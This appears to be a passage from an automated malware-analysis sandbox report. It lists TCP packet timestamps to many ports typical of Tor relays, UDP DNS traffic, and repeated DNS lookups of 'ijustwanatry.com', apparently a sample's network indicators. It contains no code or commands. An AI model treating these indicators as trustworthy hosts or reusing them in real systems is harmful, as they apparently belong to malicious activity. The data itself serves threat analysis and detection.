May 31, 2023 12:23:18.224081039 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.224121094 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.224155903 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.224159002 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.224214077 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.224232912 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.224251032 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.224323034 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.224381924 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.224399090 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.224409103 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.224430084 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.224455118 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.224502087 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.226768017 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.227006912 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.290788889 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.290841103 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.290862083 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.290879011 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.290899038 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.290937901 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.290960073 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.290978909 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.290999889 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291022062 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291043043 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291059017 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291064024 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291086912 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291109085 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291115999 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291132927 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291140079 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291156054 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291163921 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291177988 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291198969 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291199923 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291218996 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291222095 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291245937 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291245937 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291270971 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291282892 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291290998 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291316032 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291325092 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291337013 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291361094 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291380882 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291395903 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291395903 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291404009 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291425943 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291426897 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291440964 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291443110 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291456938 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291471004 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291486025 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291493893 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291515112 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291517019 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291538000 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291538954 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291559935 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291569948 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291595936 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291642904 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291665077 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291688919 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291695118 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291712046 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291733027 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291738987 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291754007 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291766882 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291776896 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291799068 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291804075 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291821003 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291832924 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291841984 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291862965 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291872978 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291906118 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291909933 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291932106 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291953087 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.291956902 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.291987896 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292007923 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292052031 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292073965 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292128086 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292129993 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292150974 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292172909 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292176962 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292196035 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292208910 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292217970 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292229891 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292241096 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292253971 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292277098 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292299986 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292320967 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292332888 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292341948 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292362928 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292385101 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292402029 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292428017 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292438984 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292452097 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292462111 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292483091 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292484045 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292504072 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292504072 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292526960 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292529106 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292546034 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292567015 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292571068 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292588949 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292609930 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292632103 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292633057 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292654991 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292675972 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292678118 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292711020 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292716026 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292738914 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292738914 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292758942 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292768955 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292782068 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292798996 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292802095 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292824030 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292844057 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292870045 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292881966 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.292896032 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.292921066 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293006897 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293010950 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293029070 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293035030 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293051958 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293073893 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293092966 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293093920 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293116093 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293123007 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293137074 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293157101 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293164015 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293176889 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293200016 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293217897 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293217897 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293241024 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293241978 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293256998 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293263912 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293286085 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293302059 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293308973 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293330908 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293373108 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293416977 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293452978 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293463945 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293474913 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293495893 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293518066 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293539047 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293543100 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293560028 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293566942 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293582916 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293586969 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293608904 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293622017 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293643951 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293664932 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293685913 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293694973 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293708086 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293720007 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293731928 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293751001 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293771982 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293824911 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293847084 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293883085 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293908119 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.293909073 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293932915 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293947935 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293967962 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293987036 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.293987989 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.294008017 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.294018984 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.294029951 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.294064999 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.294717073 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.294785023 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.295711040 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.295763969 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.299129009 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.359858990 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.361938000 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.362447023 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.363939047 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.367312908 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:20.409713984 CEST	49741	80	192.168.2.6	81.2.209.10
May 31, 2023 12:23:21.800223112 CEST	49732	8001	192.168.2.6	62.138.7.171
May 31, 2023 12:23:26.425735950 CEST	49741	80	192.168.2.6	81.2.209.10
May 31, 2023 12:23:42.871933937 CEST	49742	22	192.168.2.6	176.31.180.157
May 31, 2023 12:23:42.872951984 CEST	49743	443	192.168.2.6	199.249.230.114
May 31, 2023 12:23:42.873007059 CEST	443	49743	199.249.230.114	192.168.2.6
May 31, 2023 12:23:42.873305082 CEST	49743	443	192.168.2.6	199.249.230.114
May 31, 2023 12:23:42.874977112 CEST	49744	443	192.168.2.6	163.172.176.167
May 31, 2023 12:23:42.875044107 CEST	443	49744	163.172.176.167	192.168.2.6
May 31, 2023 12:23:42.875143051 CEST	49744	443	192.168.2.6	163.172.176.167
May 31, 2023 12:23:42.875549078 CEST	49744	443	192.168.2.6	163.172.176.167
May 31, 2023 12:23:42.875580072 CEST	443	49744	163.172.176.167	192.168.2.6
May 31, 2023 12:23:42.876070023 CEST	49743	443	192.168.2.6	199.249.230.114
May 31, 2023 12:23:42.876101017 CEST	443	49743	199.249.230.114	192.168.2.6
May 31, 2023 12:23:43.353513956 CEST	443	49743	199.249.230.114	192.168.2.6
May 31, 2023 12:23:43.353777885 CEST	49743	443	192.168.2.6	199.249.230.114
May 31, 2023 12:23:43.358886957 CEST	49743	443	192.168.2.6	199.249.230.114
May 31, 2023 12:23:43.358925104 CEST	443	49743	199.249.230.114	192.168.2.6
May 31, 2023 12:23:43.359318972 CEST	443	49743	199.249.230.114	192.168.2.6
May 31, 2023 12:23:43.360420942 CEST	49743	443	192.168.2.6	199.249.230.114
May 31, 2023 12:23:43.404289007 CEST	443	49743	199.249.230.114	192.168.2.6
May 31, 2023 12:23:45.880409956 CEST	49742	22	192.168.2.6	176.31.180.157
May 31, 2023 12:23:51.881025076 CEST	49742	22	192.168.2.6	176.31.180.157
May 31, 2023 12:24:09.186966896 CEST	49745	443	192.168.2.6	195.154.164.243
May 31, 2023 12:24:09.187056065 CEST	443	49745	195.154.164.243	192.168.2.6
May 31, 2023 12:24:09.187243938 CEST	49745	443	192.168.2.6	195.154.164.243
May 31, 2023 12:24:09.188692093 CEST	49745	443	192.168.2.6	195.154.164.243
May 31, 2023 12:24:09.188740015 CEST	443	49745	195.154.164.243	192.168.2.6
May 31, 2023 12:24:09.301621914 CEST	443	49745	195.154.164.243	192.168.2.6
May 31, 2023 12:24:09.301752090 CEST	49745	443	192.168.2.6	195.154.164.243
May 31, 2023 12:24:09.313600063 CEST	49745	443	192.168.2.6	195.154.164.243
May 31, 2023 12:24:09.313640118 CEST	443	49745	195.154.164.243	192.168.2.6
May 31, 2023 12:24:09.314117908 CEST	443	49745	195.154.164.243	192.168.2.6
May 31, 2023 12:24:09.314615965 CEST	49745	443	192.168.2.6	195.154.164.243
May 31, 2023 12:24:09.356332064 CEST	443	49745	195.154.164.243	192.168.2.6
May 31, 2023 12:24:13.035619020 CEST	49746	443	192.168.2.6	212.83.43.95
May 31, 2023 12:24:13.035717964 CEST	443	49746	212.83.43.95	192.168.2.6
May 31, 2023 12:24:13.035890102 CEST	49746	443	192.168.2.6	212.83.43.95
May 31, 2023 12:24:13.036416054 CEST	49747	443	192.168.2.6	197.231.221.211
May 31, 2023 12:24:13.036478043 CEST	443	49747	197.231.221.211	192.168.2.6
May 31, 2023 12:24:13.036560059 CEST	49747	443	192.168.2.6	197.231.221.211
May 31, 2023 12:24:13.037821054 CEST	49748	443	192.168.2.6	77.247.181.164
May 31, 2023 12:24:13.037916899 CEST	443	49748	77.247.181.164	192.168.2.6
May 31, 2023 12:24:13.038007021 CEST	49748	443	192.168.2.6	77.247.181.164
May 31, 2023 12:24:13.038417101 CEST	49746	443	192.168.2.6	212.83.43.95
May 31, 2023 12:24:13.038456917 CEST	443	49746	212.83.43.95	192.168.2.6
May 31, 2023 12:24:13.038522005 CEST	49747	443	192.168.2.6	197.231.221.211
May 31, 2023 12:24:13.038549900 CEST	443	49747	197.231.221.211	192.168.2.6
May 31, 2023 12:24:13.038844109 CEST	49748	443	192.168.2.6	77.247.181.164
May 31, 2023 12:24:13.038889885 CEST	443	49748	77.247.181.164	192.168.2.6
May 31, 2023 12:24:13.185786009 CEST	443	49746	212.83.43.95	192.168.2.6
May 31, 2023 12:24:13.186008930 CEST	49746	443	192.168.2.6	212.83.43.95
May 31, 2023 12:24:13.216821909 CEST	49746	443	192.168.2.6	212.83.43.95
May 31, 2023 12:24:13.216926098 CEST	443	49746	212.83.43.95	192.168.2.6
May 31, 2023 12:24:13.217782021 CEST	443	49746	212.83.43.95	192.168.2.6
May 31, 2023 12:24:13.218313932 CEST	49746	443	192.168.2.6	212.83.43.95
May 31, 2023 12:24:13.264301062 CEST	443	49746	212.83.43.95	192.168.2.6
May 31, 2023 12:24:15.504395008 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:24:15.554858923 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:24:20.810543060 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:24:20.852315903 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:24:21.422525883 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:24:21.477236032 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:24:21.920512915 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:24:21.961724997 CEST	49727	9001	192.168.2.6	37.153.1.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 31, 2023 12:22:20.231307983 CEST	59504	53	192.168.2.6	8.8.8.8
May 31, 2023 12:22:20.277360916 CEST	53	59504	8.8.8.8	192.168.2.6
May 31, 2023 12:23:13.176196098 CEST	65198	53	192.168.2.6	8.8.8.8
May 31, 2023 12:23:13.198159933 CEST	53	65198	8.8.8.8	192.168.2.6
May 31, 2023 12:23:18.209609985 CEST	62910	53	192.168.2.6	8.8.8.8
May 31, 2023 12:23:18.248075962 CEST	53	62910	8.8.8.8	192.168.2.6
May 31, 2023 12:23:23.259248972 CEST	63863	53	192.168.2.6	8.8.8.8
May 31, 2023 12:23:23.289736032 CEST	53	63863	8.8.8.8	192.168.2.6
May 31, 2023 12:23:28.367388964 CEST	63229	53	192.168.2.6	8.8.8.8
May 31, 2023 12:23:28.417339087 CEST	53	63229	8.8.8.8	192.168.2.6
May 31, 2023 12:23:33.569107056 CEST	62538	53	192.168.2.6	8.8.8.8
May 31, 2023 12:23:33.589494944 CEST	53	62538	8.8.8.8	192.168.2.6
May 31, 2023 12:23:38.602268934 CEST	54903	53	192.168.2.6	8.8.8.8
May 31, 2023 12:23:38.630980968 CEST	53	54903	8.8.8.8	192.168.2.6
May 31, 2023 12:23:43.663110018 CEST	51530	53	192.168.2.6	8.8.8.8
May 31, 2023 12:23:43.691627026 CEST	53	51530	8.8.8.8	192.168.2.6
May 31, 2023 12:23:48.695791006 CEST	56122	53	192.168.2.6	8.8.8.8
May 31, 2023 12:23:48.716097116 CEST	53	56122	8.8.8.8	192.168.2.6
May 31, 2023 12:23:54.560477972 CEST	52556	53	192.168.2.6	8.8.8.8
May 31, 2023 12:23:54.618479013 CEST	53	52556	8.8.8.8	192.168.2.6
May 31, 2023 12:23:59.663701057 CEST	61609	53	192.168.2.6	8.8.8.8
May 31, 2023 12:23:59.692375898 CEST	53	61609	8.8.8.8	192.168.2.6
May 31, 2023 12:24:04.713684082 CEST	52481	53	192.168.2.6	8.8.8.8
May 31, 2023 12:24:04.742443085 CEST	53	52481	8.8.8.8	192.168.2.6
May 31, 2023 12:24:09.764050007 CEST	53943	53	192.168.2.6	8.8.8.8
May 31, 2023 12:24:09.799566984 CEST	53	53943	8.8.8.8	192.168.2.6
May 31, 2023 12:24:14.824805975 CEST	56086	53	192.168.2.6	8.8.8.8
May 31, 2023 12:24:14.848203897 CEST	53	56086	8.8.8.8	192.168.2.6
May 31, 2023 12:24:19.856050014 CEST	56547	53	192.168.2.6	8.8.8.8
May 31, 2023 12:24:19.885850906 CEST	53	56547	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 31, 2023 12:22:20.231307983 CEST	192.168.2.6	8.8.8.8	0xabaf	Standard query (0)	dz0nhlj1q8ac3.cloudfront.net	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:13.176196098 CEST	192.168.2.6	8.8.8.8	0xefb0	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:18.209609985 CEST	192.168.2.6	8.8.8.8	0x6bcb	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:23.259248972 CEST	192.168.2.6	8.8.8.8	0x897b	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:28.367388964 CEST	192.168.2.6	8.8.8.8	0x6dc4	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:33.569107056 CEST	192.168.2.6	8.8.8.8	0x356f	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:38.602268934 CEST	192.168.2.6	8.8.8.8	0x9afb	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:43.663110018 CEST	192.168.2.6	8.8.8.8	0x32d3	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:48.695791006 CEST	192.168.2.6	8.8.8.8	0x2016	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:54.560477972 CEST	192.168.2.6	8.8.8.8	0x63c3	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:59.663701057 CEST	192.168.2.6	8.8.8.8	0xd9d8	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
May 31, 2023 12:24:04.713684082 CEST	192.168.2.6	8.8.8.8	0xe929	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
